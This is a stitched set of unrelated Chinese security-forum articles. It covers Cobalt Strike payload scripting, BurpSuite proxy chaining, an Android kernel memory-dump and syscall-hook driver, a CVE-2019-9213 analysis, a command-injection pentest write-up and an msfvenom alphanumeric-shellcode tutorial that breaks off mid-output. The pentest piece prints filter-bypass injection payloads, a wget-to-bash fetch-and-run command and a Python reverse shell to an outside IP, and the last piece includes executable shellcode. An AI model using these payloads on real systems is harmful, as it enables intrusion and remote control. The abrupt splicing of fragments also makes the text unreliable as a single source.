python | python脚本
svcexe | 以服务启动的可执行文件啦
vbscript | vb脚本
自己写的一个小Demo：
popup beacon_bottom {
item "exe" {
$data = artifact("cat", "exe");
$handle = openf(">cat.exe");
writeb($handle, $data);
closef($handle);
}
}
只写两个参数因为其他两个参数默认为false和x86，懒得话写不写都无所谓。
### PowerShell
函数是[&powershell](https://www.cobaltstrike.com/aggressor-script/functions.html#powershell) ,用法：
println(powershell("my listener", false,x86));
和shellcode的写法一模一样，不作赘述。（本来就属于shellcode的一个子集，不知道官方为啥要独立出来写。）
### Stageless
函数[&artifact_stageless](https://www.cobaltstrike.com/aggressor-script/functions.html#artifact_stageless),demo:
sub ready {
local('$handle');
$handle = openf(">out.exe");
writeb($handle, $1);
closef($handle);
}
artifact_stageless("my listener", "exe", "x86", "", &ready);
对比exe/dll生成多的参数是代理的信息，其他无异。 | 社区文章 |
# 【技术分享】BurpSuite 代理设置的小技巧
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[三思之旅](http://bobao.360.cn/member/contribute?uid=1630860495)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在Web渗透测试过程中，BurpSuite是不可或缺的神器之一。 **BurpSuite的核心是代理Proxy**
，通常情况下使用BurpSuite的套路是：浏览器设置BurpSuite代理——>访问Web应用程序——>BurpSuite抓包分析。
**本人从事Web渗透测试尚不足一年，这期间在代理设置过程中踩到过一点『小坑』，现在将我踩过的『小坑』总结一下。**
本文主要面对新人朋友，老司机们请不吝赐教~
**0x01 一般情形**
最一般的情形是针对采用HTTP协议的Web应用程序的渗透测试。这种情况下，直接设置浏览器的代理服务器为BurpSuite即可，默认为127.0.0.1:8080。
当然，直接更改浏览器的代理服务器设置比较繁琐，更好的办法是使用浏览器插件，预先设置好代理方案，然后根据实际情况一键切换。Chrome推荐使用[
**Proxy SwitchyOmega**](https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif) 插件：
Firefox推荐使用[ **FoxyProxy**](https://addons.mozilla.org/zh-CN/firefox/addon/foxyproxy-standard/) ：
至于IE浏览器，说实在话用得很少，不建议用于渗透测试。一方面，IE不支持扩展插件；另一方面，IE的代理设置也就是系统全局代理，一旦更改了IE的代理，除了那些自带代理设置的程序外（如安装了Proxy
SwitchyOmega扩展的Chrome浏览器），其他程序请求数据都要走代理，给我们的测试带来很大不便。但是，如果你非要用IE的话（比如针对某些不支持Chrome和Firefox的网银系统进行渗透测试），也有比较方便的解决办法，容我先卖个关子，后文会有说明。
**0x02 HTTPS网站的情形**
许多人在第一次使用BurpSuite抓取HTTPS网站报文时都会遇到『您的连接不是私密连接』（Chrome）、『此网站的安全证书存在问题』（IE）或者『您的连接不安全』（Firefox）的问题，这时候怎么办？
这个问题其实很简单，安装一个证书即可解决，想知道原因的可以自行Google一下HTTPS原理就能够得到答案。
首先，浏览器设置好BurpSuite代理服务器后，访问http://burp，然后点击右上角的CA
Certificate，这时会自动下载一个名为cacert.der的证书文件。
打开这个证书文件，根据提示安装这个证书，基本上是一路『下一步』，唯一需要注意的是，在『证书存储』这一步选择将证书存储在『受信任的根证书颁发机构』。
证书安装好之后，Chrome和IE就能够正常访问HTTPS网站了（由于Google一直在推全网HTTPS，Chrome对证书要求很严格，我们安装的证书不是权威机构颁发的，因此地址栏会一直提示『不安全』，但是不影响使用）。
不过，如果你使用Firefox浏览器的话，还需要增加一步，即将证书导入到Firefox中。打开Firefox的『选项——高级——证书』，然后点击『查看证书』按钮打开『证书管理器』。
在『证书管理器』中，点击下方的『导入』按钮，导入之前下载的cacert.der证书文件，并且在弹出的『下载证书』对话框中，勾选3个『信任使用此CA标识的……』复选框，最后点击『确定』即可。
这时候，Firefox也可以正常使用了。
**0x03 移动端流量抓取**
有时候，我们还需要对移动APP进行抓包分析，这时候该怎么办？
其实很简单，两步即可解决。
第一步，在BurpSuite的Proxy Listeners中，选中当前在用的代理，点击左侧的Edit按钮，在弹出的对话框中，将Bind to
address选项设置为All interfaces。
第二步，手机和PC连接同一Wifi，打开手机Wifi设置，设置HTTP代理服务器为BurpSuite所在的PC的IP地址，端口为BurpSuite的代理端口。以iPhone为例，其设置如下图所示。
然，如果APP走的是HTTPS通道，仍然需要安装证书才能正常访问，方法同前，不再赘述。
**0x04 多重代理的情形**
在某些网络环境中，访问目标网站需要走代理。比如说，为了访问google.com，我已经给浏览器设置了SS代理（默认127.0.0.1:1080），现在我想对google.com进行渗透测试，那么该怎么设置浏览器代理？这时候不能简单的把浏览器代理设置为BurpSuite，这样虽然可以进行抓包，但是没有了SS的帮助，我们是无法访问google.com的，抓包也就没有意义了。这时候该怎么办？
在这种情况下，我们必须借助代理链了。
顾名思义，代理链就一系列的代理形成的链条。像刚才那种情形，我们首先设置浏览器的代理为BurpSuite以便能够抓包；然后为BurpSuite再设置一个上游代理即SS。这样访问google.com时，请求数据先经过BurpSuite，于是可以进行抓包了；然后再流向SS，最后经过SS服务器到达google.com。服务器端返回的响应则刚好相反。通过这个BurpSuite——SS的代理链，我们就解决了本节开头所描述的问题。
作为一个神器，BurpSuite是具备这个功能的。在BurpSuite的User options下的Connections页面中，有『Upstream
Proxy Servers』和『SOCKS Proxy』这两个配置项，都是跟代理链相关的。接下来逐一进行说明。
**1\. Upstream Proxy Servers**
在该设置项中，可以设置多个上游代理服务器规则，满足规则的请求将被发送至相应的代理服务器。只说概念过于无聊，还是以google.com为例进行说明。
为了对google.com进行抓包分析，我们首先要设置浏览器的代理为BurpSuite，这一点是毫无疑问的。为了能正常访问google.com，还需要设置BurpSuite的上流代理为SS（127.0.0.1:1080）。点击Upstream
Proxy Servers列表框左侧的Add按钮，打开『Edit upstream proxy
rule』对话框。这里一共有8个设置项，一般情况下只需关注前4个：
Destination
host：这里填入目标网站域名或者IP，支持通配符（*表示0个或者任意个字符，?表示除点号之外的任意一个字符）。在本例中，我们可以填入*.google.com。
Proxy host：填入SS代理服务器的IP地址，即127.0.0.1。如果为空表示直接连接。
Proxy port：填入SS的代理地址，即和1080。
Authentication type：这里选择认证类型，由于SS本地代理无需认证，这是选择None。
如果Authentication type为None，则接下来的4项内容无需理会，否则需要根据实际情况设置以下4项内容。
Username：用户名。
Password：密码。
Domain：域。仅用于NTLM认证类型。
Domain hostname：域主机名。仅用于NTLM认证类型。
设置内容如下图所示，最后点击OK即可。
这时候你会发现google.com已经能够访问了，并且BurpSuite中也成功地抓取到了相应的请求报文。
你可以同时设置多个Upstream Proxy Servers，在使用过程中，BurpSuite会按顺序将请求的主机与Destination
host中设置的内容进行比较，并将请求内容发送至第一个相匹配的Proxy server。因此，Proxy Server的顺序很重要，讲究个先来后到！
**2\. SOCKS Proxy**
与Upstream Proxy Servers的作用类似，SOCKS Proxy的功能也是将请求内容发送至相应的代理服务器。不同之处在于，SOCKS
Proxy作用于TCP协议层，因此如果设置了该项，那么所有的请求数据都会被发送至SOCKS代理服务器。所以，SOCKS
Proxy的设置更简单。同样以google.com为例，先在下方的输入框中依次填入SOCKS代理服务器的IP、端口（如果SOCKS代理服务器需要认证，还需要填写用户名和密码），然后勾选Use
SOCKS proxy即可。
需要注意的一点是，如果同时设置了Upstream Proxy Servers和SOCKS Proxy，则根据规则应该发送至上游代理的请求将会通过SOCKS
Proxy发送。
**0x05 被测客户端不支持代理设置的情形**
有时候，我们想对电脑上的某客户端进行抓包分析，然而这个客户端并没有代理设置的功能，怎么办？如果直接设置系统代理当然也是可以的，但是这样一来所有程序的流量都要经过BurpSuite，一方面有可能影响非测试软件的使用；另一方面，BurpSuite中非测试软件的请求记录过多也影响我们的分析测试。有没有更好的解决方案？
答案是肯定的，这时候就需要[Proxifier](https://www.proxifier.com/)登场了。Proxifier是什么？且看官网的说明：
Proxifier allows network applications that do not support working through proxy servers to operate through a SOCKS or HTTPS proxy and chains.
简单的说，使用Proxifier能够为那些本身不能设置代理的软件设置SOCKS或者HTTPS代理（链）。Proxifier的体积虽小，但功能却十分强大，除了有Windows版之外，还有Mac版的。因此，非常值得关注。
还是通过实例进行说明。有一次，需要对某微信公众号进行渗透测试，有些微信公众号的链接复制到浏览器中可以直接打开，但是这个公众号做了限制，只能在微信中打开，即使改了UA也不行。
微信网页版中只能看到公众号发的文章，而不能进行交互。设置手机代理倒是可以进行测试，但是一边在手机上操作、一边在PC上抓包很不方便，而且容易给领导一种一直在玩手机的错觉……微信PC版功能倒是挺全，然而却不能设置代理！
怎么办？貌似山穷水尽了。最后寄希望于Google，经过一番搜索，直到Proxifier的出现，总算柳暗花明！言归正传，接下来看看Proxifier怎么玩。
Proxifier的界面很简洁，我们重点关注其中的两个功能，即Proxy Servers和Profication
Rules。工具栏中最左侧的两个图标分别对应这两个功能。
首先点击工具栏第一个图标，打开Proxy Servers对话框。Proxy
Servers对话框分为上下两部分，上半部分用于设置代理服务器，下半部分用于设置代理链。
**1\. 代理服务器设置**
我们先讲讲代理服务器设置。点击Add按钮，增加一个代理服务器，填入相应的代理服务器地址和端口，这里填入BurpSuite的代理127.0.0.1:8080；Protocol中选择HTTPS；点击Advanced按钮，设置一个Custom
Label以方便区分。
设置完成之后，可以点击下方的Check按钮测试一下代理是否设置成功。如果出现下图所示的Proxy is ready to work with
Proxifier!说明代理设置成功。不过默认的用于测试的目标网站是www.google.com，很有可能出现误判，建议点击右上角的Test
Settings按钮将Target host更改为不挂代理也可正常访问的网站。
Proxy
Server设置完成之后会提示你尚未设置当前启用的代理服务器，是否要进入规则设置，点击『是』即可进行代理规则设置。也可以点击工具栏第二个图标进入『Proxification
Rules』对话框。
默认有两条直连的规则。点击左下方的Add按钮，进入具体的规则设置页面。
设置内容并不复杂，一共五个设置项：
**Name：可任意设置，建议设置有意义的名称以方便使用。**
**Applications：设置代理的应用，此处设置的是微信的主程序wechat.exe。**
**Target hosts：设置访问哪些网站走代理，根据实际情况填写。**
**Target ports：设置访问目标网站的哪些端口才走代理，根据实际情况填写即可。**
Action：这里选择上一步设置的代理服务器即可。除了自定义的代理服务器外，这里还有Direct和Block的选项，分别是直连和阻止连接，说明Proxifier还可以有选择的屏蔽某些站点，在某些情况下还是很有用的。
规则设置好之后，可点击规则列表框右侧的方向按钮，更改规则的顺序。和BurpSuite的Upstream Proxy
Servers一样，这里也讲究个先来后到，所以当前在用的规则越靠前越好。如果你设置好代理及规则之后不起作用，可以到这里看看顺序是不是没有调整好。
一切设置就绪，别忘了点击OK按钮保存。这时候，在PC版的微信中对目标公众号进行相应的操作与访问，BurpSuite就能够抓取到HTTP报文了。同时，在Proxifier中能够看到连接状态与日志。（PS：我发现每次使用Proxifier一开始总会出错，过几秒钟就正常了，不知道啥原因？）
回到本节开头的那个问题，对于那些无法设置代理的客户端程序，可以使用Proxifier为其设置代理，进而使用BurpSuite等工具抓包分析。此外，如果将Proxification
Rule中的Application设置为IE浏览器，即可选择性地将目标站点的HTTP请求发送至BurpSuite，这就解决了使用IE进行渗透测试时代理设置不方便的问题。
**2\. 代理链设置**
接下来说一说Proxifier的代理链功能。为了实现代理链，首先需要设置多个代理（在Proxifier中，仅有一个代理服务器的代理链也是允许的，但那没什么意义）。还拿google.com的例子进行说明，我们需要两个代理：BurpSuite（127.0.0.1:8080）和SS（127.0.0.1:1080）。先在Proxy
Servers中增加一个SS（127.0.0.1:1080）的SOCKS5代理服务器。然后点击下方右侧的Create按钮，新建一个代理链，名称随意，比如BurpSuite->SS。最后用鼠标依次将上方的BurpSuite和SS代理服务器拖到下方即可。注意，这里的顺序也很重要。
点击Create按钮下方的Type按钮可以设置代理链的类型，一共有3种类型的代理链：
Simple Chain：简单类型，请求数据从上到下依次经过各代理服务器，这个是默认选项。
Redundancy：冗余类型，如果第一个代理服务器无法连接，则尝第二个，以此类推。
Load Balancing：负载均衡类型，请求数据会随机地发送到列表中的各个代理服务器。
按照我们的需求，需要选择默认的Simple
Chain。有了代理链，接下来仍然需要设置代理规则，设置方法同前，只不过在Action中选择刚才设置的代理链即可。
BurpSuite自带的Upstream Proxy Servers和SOCKS
Proxy完全可以解决google.com的问题，这里仅仅是以此为例进行说明。Proxifier的代理链功能十分强大，至于怎么用就看大家的脑洞了~
**0x05 结束语**
本文总结了我在使用BurpSuite过程中所学会一点关于代理设置的小技巧。个人感觉平时在使用BurpSuite的过程中，仅仅用到了一小部分功能。今后应该抽空多研究一下自带的帮助文档，也希望大家多分享相关的技巧，大家共同进步！ | 社区文章 |
Author: **ThomasKing**
Weibo/Twitter: ThomasKing2014
Blog: [thomasking2014.com](http://thomasking2014.com/)
## 一、序
无论是逆向分析还是漏洞利用，我所理解的攻防博弈无非是二者在既定的某一阶段，以高纬的方式进行对抗，并不断地升级纬度。比如，逆向工程人员一般会选择在Root的环境下对App进行调试分析，其是以root的高权限对抗受沙盒限制的低权限；在arm64位手机上进行root/越狱时，ret2usr利用技术受到PXN机制的约束，厂商从修改硬件特性的高纬度进行对抗，迫使漏洞研究者提高利用技巧。
下文将在Android逆向工程方面，分享鄙人早期从维度攻击的角度所编写的小工具。工具本身可能已经不能适应现在的攻防，“授人以鱼不如授人以渔”，希望能够给各位读者带来一些思路，构建自己的分析利器。
## 二、正
### 0x00 自定义Loader
早期Android平台对SO的保护采用畸形文件格式和内容加密的方式来对抗静态分析。随着IDA以及F5插件地不断完善和增多，IDA已经成为了逆向人员的标配工具。正因如此，IDA成为了畸形文件格式的对抗目标。畸形方式从减少文件格式信息到构造促使IDA加载crash的变化正应证了这一点。对此，鄙人研究通过重建[文件格式信息](http://bbs.pediy.com/thread-192874.htm)的方式来让IDA正常加载。
在完成编写修复重建工具不久之后，鄙人在一次使用IDA的加载bin文件时，猛然意识到畸形文件格式的对抗目标是IDA对ELF文件的加载的默认loader。既然防御的假象和维度仅仅在于默认loader，那么以自定义的loader加载实现高纬攻击，理论是毫无敌手的。
那如何来实现IDA自定义loader呢？
1. 以Segment加载的流程对ELF文件进行解析，获取和重建Section信息(参看上面所说贴子)。
2. 把文件信息在IDA中进行展示，直接调用对应的IDAPython接口
实现加载bin文件的py代码见文末github链接，直接放置于IDA/loaders目录即可。由于早期少有64位的安卓手机，加载脚本仅支持arm
32位格式，有兴趣读者可以改写实现全平台通用。不同ndk版本所编译文件中与动态加载无关的Section不一定存在，注释相应的重建代码即可。
### 0x01 Kernel Helper
以APP分析为例，对于加固过的应用通常会对自身的运行环境进行检测。比如:
检测自身调试状态，监控proc文件等。相信各位读者有各种奇淫技巧来绕过，早期鄙人构建hook环境来绕过。从维度的角度，再来分析这种对抗。对于APP或者bin文件而言，其仅运行于受限的环境中，就算exp提权后也只是权限的提升和对内核有一定的访问控制权。对于Android系统而言，逆向人员不仅能够拿到root最高权限，而且还可以修改系统的所有代码。从攻防双方在运行环境的维度来看，“魔”比”道“高了不只三丈，防御方犹如板上鱼肉。而在代码维度，防御方拥有源代码的控制权，攻防处于完全劣势。随着代码混淆和VMP技术的运用，防御方这块鱼肉越来越不好"啃"。
对于基于linux的安卓系统而言，进程的运行环境和结构是由内核来提供和维护的。从修改内核的维度来对抗，能达到一些不错的效果。下文将详述在内核态dump目标进程内存和系统调用监控。
### 1\. 内存DUMP
对内核添加一些自定义功能时，通常可以采用内核驱动来实现。虽然一部分Android手机支持驱动ko文件加载，但内核提供的其他工具则不一定已经编译到内核，在后文中可以看到。nexus系列手机是谷歌官方所支持的，编译刷机都比较方便，推荐使用。
S1. 编译内核
为了让内核支持驱动ko文件的加载，在make memuconfig配置内核选项时，以下勾选:
[*] Enable loadable module support
次级目录所有选项
编译步骤参看谷歌官方提供的内核编译步骤。
S2. 驱动代码
linux系统支持多种驱动设备，这里采用最简单的字符设备来实现。与其他操作系统类似，linux驱动程序也分为入口和出口。在module_init入口中，对字符设备进行初始化，创建/dev/REHelper字符设备。文末代码采用传统的方式对字符设备进行注册，也可直接使用misc的方式。字符设备的操作方式通过注册file_operations回调实现，其中ioctl函数比较灵活，满足实现需求。
定义command ID:
#define CMD_BASE 0xC0000000
#define DUMP_MEM (CMD_BASE + 1)
#define SET_PID (CMD_BASE + 2)
构建dump_request参数:
struct dump_request{
pid_t pid; //目标进程
unsigned long addr; //目标进程dump起始地址
ssize_t count; //dump的字节数
char __user *buf; //用户空间存储buf
};
在ioctl中实现分支:
case DUMP_MEM:
target_task = find_task_by_vpid(request->pid); //对于用户态，进程通过进程的pid来标示自身；在内核空间，通过pid找到对应的进程结构task_struct
if(!target_task){
printk(KERN_INFO "find_task_by_vpid(%d) failed\n", request->pid);
ret = -ESRCH;
return ret;
}
request->count = mem_read(target_task->mm, request->buf, request->count, request->addr); //进程的虚拟地址空间同样由内核进程管理，通过mm_struct结构组织
mem_read其实是对mem_rw函数的封装，mem_rw能够读写目标进程，简略流程:
static ssize_t mem_rw(struct mm_struct *mm, char __user *buf,
size_t count, unsigned long addr, int write)
{
ssize_t copied;
char *page;
...
page = (char *)__get_free_page(GFP_TEMPORARY); // 获取存储数据的临时页面
...
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);
// 将写入数据从用户空间拷贝到内核空间
if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}
// 对目标进程进行读或写操作，具体实现参看内核源码
this_len = access_remote_vm(mm, addr, page, this_len, write);
// 将获取到的目标进程数据从内核拷贝到用户空间
if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}
...
}
...
}
内核驱动部分的dump功能实现，接着只需在用户空间访问驱动程序即可。
// 构造ioctl参数
request.pid = atoi(argv[1]);
request.addr = 0x40000000;
request.buf = buf;
request.count = 1000;
// 打开内核驱动
int fd = open("/dev/REHelper", O_RDWR);
// 发送读取命令
ioctl(fd, DUMP_MEM, &request);
close(fd);
S3. 测试
文末代码中，dump_test为目标进程，dump_host通过内核驱动获取目标进程的数据。insmod和dump_host以root权限运行即可。
### 2\. 系统调用监控
通常情况下，APP通过动态链接库libc.so间接的进行系统调用，直接在用户态hook
libc.so的函数即可实现监控。而对于静态编译的bin文件和通过svc汇编指令实现的系统调用，用户态直接hook是不好处理的。道理很简单，系统调用由内核实现，hook也应该在内核。
linux系统的系统调用功能统一存在syscall表中，syscall表通常编译放在内核映像的代码段，修改syscall表需要修改内核页属性，感兴趣的读者可以找到linux
rootkit方面的资料。本文对系统调用监控的实现，采用内核从2.6支持的probe功能来实现，选用的最重要原因是：通用性。在不同abi平台通过汇编实现系统调用的读者应该知道，不同abi平台的系统调用功能号并不一定相同，这就意味其在syscall表中的数组索引是不一致的，还需要额外的判定，实现并不优雅。
linux内核提供了kprobe、jprobe和kretprobe三种方式。限于篇幅，仅介绍利用jprobe实现系统调用监控。感兴趣的读者可以参看内核Documentation/kprobes.txt文档以及samples目录下的例子。
S1. 编译选项
为了能够支持probe功能，需在上述开启驱动ko编译选项的基础上勾选kprobe选项。如果没有开启内核驱动选项，是不会有kprobes(new)选项的
General setup --->
[*] Kprobes(New)
S2. 驱动代码
以监控sys_open系统调用为例。首先，在module_init函数中对调用register_jprobes进行注册。注册信息封装在struct
jprobe结构中。
static struct jprobe open_probe = {
.entry = jsys_open, //回调函数
.kp = {
.symbol_name = "sys_open", //系统调用名称
},
};
由于系统调用为所有进程提供服务，不加入过滤信息会造成监控信息过多。回调函数的声明和被监控系统调用的声明一致。
asmlinkage int jsys_open(const char *pathname, int flags, mode_t mode){
pid_t current_pid = current_thread_info()->task->tgid;
// 从当前上下文中获取进程的pid
// monitor_pid初始化-1，0为全局监控。
if(!monitor_pid || (current_pid == monitor_pid)){
printk(KERN_INFO "[open] pathname %s, flags: %x, mode: %x\n",
pathname, flags, mode);
}
jprobe_return();
return 0;
}
对monitor_pid的设置通过驱动的ioctl来设置，参数简单直接设置。
case SET_PID:
monitor_pid = (pid_t) arg;
S3. 测试
文末代码bin_wrapper和ptrace_trace均为静态编译，bin_wrapper通过设置监控对ptrace_trace的进行监控。内核prink的打印信息通过cat
/proc/kmsg获取，输出类似如下:
<6>[34728.283575] REHelper device open success!
<6>[34728.285504] Set monitor pid: 3851
<6>[34728.287851] [openat] dirfd: -100, pathname /dev/__properties__, flags: a8000, mode: 0
<6>[34728.289348] [openat] dirfd: -100, pathname /proc/stat, flags: 20000, mode: 0
<6>[34728.291325] [openat] dirfd: -100, pathname /proc/self/status, flags: 20000, mode: 0
<6>[34728.292016] [inotify_add_watch]: fd: 4, pathname: /proc/self/mem, mask: 23
<6>[34729.296569] PTRACE_PEEKDATA: [src]pid = 3851 --> [dst]pid = 3852, addr: 40000000, data: be919e38
## 三、尾
本文介绍了鄙人对攻防的维度思考，以及从维度分析来实现的早期工具的部分介绍。希望能够给各位读者带来一些帮助和思考。限于鄙人水平，难免会有疏漏或者错误之处，敬请各位指出，谢谢。
## 四、附
https://github.com/ThomasKing2014/ReverseTinytoolDemo
* * * | 社区文章 |
# CVE-2019-9213——linux内核用户空间0虚拟地址映射漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞原理
前一段时间project zero的jann
horn披露了一个linux内核用户空间0虚拟地址映射漏洞，通过这个漏洞可以绕过mmap_min_addr的限制，再配合一个内核中的null pointer
dereference漏洞理论上有提权的可能。这个漏洞是非常有趣的，这里分享一下我的分析。
POC很短，我们直接来看POC：
触发漏洞的点在于LD_DEBUG=help su 1>&%d向/proc/self/mem中写入了数据，其实LD_DEBUG=help
su并不重要，重要的是通过它调用write函数。下面我们就来一步一步分析从这行代码到漏洞点的过程。
linux内核对于文件系统通用的结构体是file_operations，fs/proc/base.c中的代码提供与/proc相关的操作。
LD_DEBUG=help su 1>&%d会调用write函数，在这里也就是mem_write函数。mem_write函数是对mem_rw函数的封装。
在while循环中，如果是写首先通过copy_from_user函数将待写内容buf拷贝到分配的page中，然后调用access_remote_vm函数写入远程进程。读则相反，先调用access_remote_vm函数读取远程进程中的数据，然后调用copy_to_user函数将读取的page拷贝到buf中。
access_remote_vm函数是对__access_remote_vm函数的封装(这里注意分析mmap.c中的代码，nommu.c中的代码是用在没有MMU的CPU上的)。
在__access_remote_vm函数的while循环中调用get_user_pages_remote函数，get_user_pages_remote函数和get_user_pages函数都是对__get_user_pages_locked函数的封装，作用在于查找并将给定的虚拟地址范围固定到page。之后通过kmap函数将page映射到永久内存映射区，如果是写操作则调用copy_to_user_page函数之后调用set_page_dirty_lock函数将page设置为脏，读操作则调用copy_from_user_page函数。之后调用kunmap函数取消映射。
get_user_pages_remote函数和get_user_pages函数的区别在于是否跨进程。get_user_pages_remote函数调用__get_user_pages_locked函数时设置了FOLL_REMOTE标志区分。
__get_user_pages_locked函数在for循环中首先调用__get_user_pages函数将start
开始的nr_pages个页固定到pages，返回成功固定的页的个数。
__get_user_pages函数首先查找vma，调用follow_page_mask函数查询页表获取虚拟地址对应的物理页，如果返回null会调用faultin_page函数。获取到page的指针之后存在pages数组中。
__get_user_pages函数返回值大于0说明调用成功，减少nr_pages增加pages_done，nr_pages为0则退出循环。
再固定一个页，正常情况下应该返回0退出循环，如果没有退出循环nr_pages减1，pages_done加1，start地址加一个PAGE_SIZE重新开始固定。
__get_user_pages函数查找vma是通过调用find_extend_vma函数实现的，如果vma->vm_start <=
addr说明addr在VMA空间范围内；否则说明addr落在空洞中。如果设置了VM_GROWSDOWN标志位调用expand_stack函数扩展vma。
expand_stack函数是对expand_downwards函数的封装。
expand_downwards函数中做的首先就是调用security_mmap_addr函数检查权限。
security_mmap_addr函数是对cap_mmap_addr函数的封装。
终于来到了漏洞点，cap_mmap_addr函数中检查的是current_cred()，是执行write操作的进程的cred而不是vma被改变的进程的cred。在POC中是通过system函数调用LD_DEBUG=help
su 1>&%d命令执行的write操作，当然是另外一个进程。
完整调用链：mem_write -> mem_rw -> access_remote_vm -> __access_remote_vm ->
get_user_pages_remote -> __get_user_pages_locked -> __get_user_pages ->
find_extend_vma -> expand_stack -> expand_downwards -> security_mmap_addr ->
cap_mmap_addr
POC执行效果如下。
## 0x01 补丁情况
补丁也是由jann
horn提供的，expand_downwards函数不再调用security_mmap_addr函数了，直接和mmap_min_addr比较。
笔者以为这样修补没有真正解决问题。这是一个逻辑漏洞，根本原因在于可以通过两个进程绕过security_mmap_addr函数中cap_capable(current_cred()……)的检查逻辑，补丁只是在expand_downwards函数中不再调用security_mmap_addr函数了，是否存在其它调用security_mmap_addr的函数？当然存在，但是笔者大致翻看了一下，似乎只有get_user_pages_remote函数才能够跨进程调用到security_mmap_addr函数(也有可能是笔者眼拙未能找到)。同样是内存管理中的逻辑问题，这个漏洞各方面来讲巧妙程度可能不亚于DirtyCow，唯一遗憾的在于不能直接提权，显得鸡肋了。
## 0x02 时间线
2019-03-06 漏洞公开
2019-03-14 360CERT发布分析报告
## 0x03 参考链接
1. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1792>
2. [Dirty COW and why lying is bad even if you are the Linux kernel](https://chao-tic.github.io/blog/2017/05/24/dirty-cow) | 社区文章 |
今天下午在公司测（mo）试（yu）的时候，通过搜索响应中的关键字，一处报错信息引起了我的注意：
开搞
首先whoami看下能不能回显：
显然不能。。
那我们用dnslog测试下：
好像过滤替换了不少特殊符号，经测试发现，除了.之外，如下关键字也都被替换为-字符了：
()&:/[space]
那只能换一种思路咯，我们先要证明下这个地方是否存在命令执行，过滤了.把ip转化为数字，这里用自己的服务器上的服务做下测试：
用wget命令测试，还要考虑空格的过滤，简单列一下常用的替换方式：
1、分隔符
${IFS}绕过：在linux下，${IFS}是分隔符的意思，所以可以有${IFS}进行空格的替代。
${IFS}$9绕过：$起截断作用，9为当前shell进程的第九个参数，始终为空字符串，所以同样能代替空字符串进行分割。
2、重定向符
构造payload，注意用||和;分别闭合前后部分：111||wget${IFS}3162736550;
看来确实存在啊，那直接弹吧。编码（base64或者hex）绕过反弹shell中的特殊字符：
超过长度检测限制了，换个思路，用wget直接读取payload并执行。这里花了很多时间（还是我太菜了）。
1、wget下载文件内容：wget -q -O - <http://xxx.com>
2、管道符bash连接
最终payload如：11||wget${IFS}-q${IFS}-O${IFS}-${IFS}xxxxxxxxx|bash;
发现日志中收到请求，但是监听端并没有反弹回来，应该是bash没有执行成功，换个别的语言的再试下（python）
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
这回有反应了，但是报错退出回话了
这是啥问题，可能菜是原罪吧，应该是路径/bin/bash不对，换成/bin/sh试试
**反思** ：
1、通过响应中指纹关键词的搜索能很快定位是否存在相应的问题，如SQL语句的报错、代码执行的error信息等等；
2、命令之间的连接符怎么能不过滤呢？
3、真的菜
33521
参考链接：
<https://www.dazhuanlan.com/2019/12/09/5dee4883dad99/>
<http://linux.51yip.com/search/wget/>
<https://www.cnblogs.com/xiaojianblogs/p/8980558.html> | 社区文章 |
# 【技术分享】生成自己的Alphanumeric/Printable shellcode
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[WeaponX](http://bobao.360.cn/member/contribute?uid=2803578480)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**背景**
最近在看一些题目(pwnable.kr-ascii, pwnable.kr-ascii_easy, pwnable.tw-Death_Note)和漏洞(CVE-2017-7269-IIS6.0远程代码执行漏洞)的时候用到Alphanumeric/Printable
shellcode。本文不阐述如何书写Alphanumeric/Printable
shellcode，而是教大家如何使用Metasploit生成自己的shellcode和在特定条件下寄存器的设置。
所谓Alphanumeric是字符在[A-Za-z0-9]区间的，而Printable是字符的ascii码在0x1f和0x7f区间(不包含)的。
shellcode测试可以用以下代码测试。
/*
* $ gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
* $ ./shellcode
*/
#include <stdio.h>
#include <string.h>
char shellcode[] = {
"x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a"
"x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50"
"x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d"
"x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45"
"x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63"
"x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45"
"x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70"
"x41x41"
};
int main()
{
printf("Shellcode Length: %dn",(int)strlen(shellcode));
printf("Shellcode is [%s]n", shellcode);
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
**使用metasploit生成Alphanumeric shellcode**
首先查看一下metasploit中有什么编码器，其次查看能实现Alphanumeric的编码器。
root@kali ~ msfvenom -l
Framework Encoders
==================
Name Rank Description
---- ---- ----------- ...
x64/xor normal XOR Encoder
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
...
可以使用的Encoders有x86/alpha_mixed与x86/alpha_upper和x86/unicode_mixed与x86/unicode_upper，不过Unicode
encoder是针对类似CVE-2017-7269等宽字节进行编码的。因此在本文中我们使用到的编码器为x86/alpha_mixed。
首先，使用msfvenom来生成一段shellcode并进行编码。
root@kali ~ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed -f c
Found 1 compatible encoders
